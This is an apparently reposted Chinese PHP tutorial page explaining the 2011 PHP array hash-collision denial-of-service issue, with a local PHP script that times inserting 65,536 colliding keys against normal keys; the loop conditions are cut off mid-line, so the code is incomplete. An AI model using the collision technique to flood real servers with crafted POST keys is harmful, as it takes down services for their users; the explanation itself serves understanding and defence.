Home > php教程 > php手册 > Array(hash)爆出的冲突问题

Array(hash)爆出的冲突问题

WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB
Release: 2016-06-21 08:52:18
Original
1086 people have browsed it

  最近(貌似是28号)从国外(地址:http://nikic.github.com/2011/12/28/Supercolliding-a-PHP-array.html)爆出了一个关于Array的新PHP冲突,可以利用调用hash表的冲突对服务器进行拒绝服务攻击。

  原理:目前很多语言, 使用hash来存储key – value数据,包括常用的来自用户的POST数据,攻击者可以通过构造请求头,并伴随POST大量的特殊的”key”值(根据每个语言的Hash算法不同而定制),使得语言底层保存POST数据的Hash表因为”冲突”(碰撞)而退化成链表。

 

  这样一来,如果数据量足够大, 那么就可以使得语言在计算,查找,插入的时候, 造成大量的CPU占用,从而实现拒绝服务攻击。

 

  

  $size = pow(2, 16);

  $startTime = microtime(true);

  $array = array();

  for ($key = 0, $maxKey = ($size - 1) * $size; $key

  $array[$key] = 0;

  }

  $endTime = microtime(true);

  echo '插入 ' . $size . ' 个恶意的元素需要 ' . $endTime - $startTime . ' 秒' . "\n";

  $startTime = microtime(true);

  $array = array();

  for ($key = 0, $maxKey = $size - 1; $key

  $array[$key] = 0;

  }

  $endTime = microtime(true);

  echo '插入 ' . $size . ' 个普通元素需要 ' . $endTime - $startTime . ' 秒' . "\n";

  /**

  * 结果

  *

  * 插入 65536 个恶意的元素需要 36.357950925827 秒

  * 插入 65536 个普通元素需要 0.029613018035889 秒

  */



Related labels:
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Latest Issues
How to create an array within an array?
From 1970-01-01 08:00:00
0
0
0
php array
From 1970-01-01 08:00:00
0
0
0
Array to array
From 1970-01-01 08:00:00
0
0
0
php array rotation
From 1970-01-01 08:00:00
0
0
0
array
From 1970-01-01 08:00:00
0
0
0
Popular Recommendations
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template